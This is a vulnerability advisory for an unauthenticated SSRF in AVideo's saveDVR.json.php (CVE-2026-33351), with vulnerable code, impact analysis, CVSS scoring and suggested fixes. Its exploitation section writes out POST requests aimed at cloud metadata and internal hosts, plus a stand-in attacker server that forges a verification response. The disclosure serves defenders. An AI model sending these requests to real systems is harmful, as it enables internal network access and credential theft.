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CVE-2026-33351

CRITICAL

AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass

Published March 19, 2026Updated March 25, 2026Source: osv

Summary

### Summary A Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST['webSiteRootURL']` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed. ### Affected Component **File:** `plugin/Live/standAloneFiles/saveDVR.json.php`, lines 5-28 ```php $streamerURL = ""; // change it to your streamer URL $configFile = '../../../videos/configuration.php'; if (file_exists($configFile)) { include_once $configFile; $streamerURL = $global['webSiteRootURL']; } if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { $streamerURL = $_REQUEST['webSiteRootURL']; // ATTACKER-CONTROLLED } // ... $verifyURL = "{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}"; $result = file_get_contents($verifyURL); // SSRF ``` ### Root Cause 1. **User-controlled URL base:** When the configuration file does not exist (standalone deployment), `$streamerURL` is set directly from `$_REQUEST['webSiteRootURL']` with no validation. 2. **No URL allowlisting or scheme restriction:** The value is used as-is in a `file_get_contents()` call. There is no check for `http`/`https` scheme only, no private IP blocking, and no domain allowlist. 3. **Verification bypass by design:** The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication. ### Exploitation #### Part 1: Basic SSRF (Internal Network Access) ``` POST /plugin/Live/standAloneFiles/saveDVR.json.php Content-Type: application/x-www-form-urlencoded webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything ``` The server fetches: ``` http://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything ``` While the appended path may cause a 404 on the metadata service, the attacker can also use this for: - **Internal port scanning:** `webSiteRootURL=http://192.168.1.X:PORT/` — differentiate open/closed ports by response time and error messages. - **Internal service access:** `webSiteRootURL=http://internal-service/` — reach services behind the firewall. - **Cloud metadata access:** With URL path manipulation or by hosting a redirect on the attacker server. #### Part 2: Verification Bypass + Downstream Command Execution Chain This is the more severe attack chain: 1. The attacker sets up a server at `https://attacker.example.com/` with the path: ``` /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php ``` That returns: ```json {"error": false, "response": {"key": "attacker_controlled_value"}} ``` 2. The attacker sends: ``` POST /plugin/Live/standAloneFiles/saveDVR.json.php webSiteRootURL=https://attacker.example.com/&saveDVR=anything ``` 3. The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it. 4. The `key` value from the response flows into shell commands: - **Line 55:** `$DVRFile = "{$hls_path}{$key}";` — used in `exec()` at line 80 (though `escapeshellarg()` is applied to the path components) - **Line 72:** `$DVRFileTarget = "{$tmpDVRDir}" . DIRECTORY_SEPARATOR . "{$key}.m3u8";` — used **without** `escapeshellarg()` in: - Line 119: `exec("echo \"{$endLine}\" >> {$DVRFileTarget}");` - Line 157: `exec("ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y");` - Line 167: `exec("rm -R {$tmpDVRDir}");` The `$key` is sanitized at line 47 with `preg_replace("/[^0-9a-z_:-]/i", "", $key)`, which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However: - The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain. - The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex. - The colon character (`:`) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers. ### Impact - **SSRF:** The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible. - **Authentication Bypass:** The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server. - **Potential Command Execution:** While the regex on `$key` limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment. - **Information Disclosure:** Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure. ### Suggested Fix 1. **Remove the user-controlled `webSiteRootURL` fallback entirely.** Require `$streamerURL` to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist: ```php // Remove this block: // if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { // $streamerURL = $_REQUEST['webSiteRootURL']; // } // If $streamerURL is still empty, abort: if (empty($streamerURL)) { error_log("saveDVR: streamerURL is not configured"); die('saveDVR: Server not configured'); } ``` 2. **If the parameter must remain for backward compatibility**, validate it: ```php if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { $url = filter_var($_REQUEST['webSiteRootURL'], FILTER_VALIDATE_URL); if ($url && preg_match('/^https?:\/\//i', $url)) { // Resolve hostname and block private/reserved IPs $host = parse_url($url, PHP_URL_HOST); $ip = gethostbyname($host); if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('saveDVR: Invalid URL'); } $streamerURL = $url; } } ``` 3. **Apply `escapeshellarg()` to all variables used in `exec()` calls**, including `$DVRFileTarget` at lines 119, 157, and `$tmpDVRDir` at line 167.

Affected Packages (1)

PackageEcosystemAffectedFixed In
wwbn/avideo
packagist
10.4, 10.8, 11, 11.1 (+13 more)Range-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-918
    Server-Side Request Forgery (SSRF)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-33351?
AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
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Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-5f7v-4f6g-74rj

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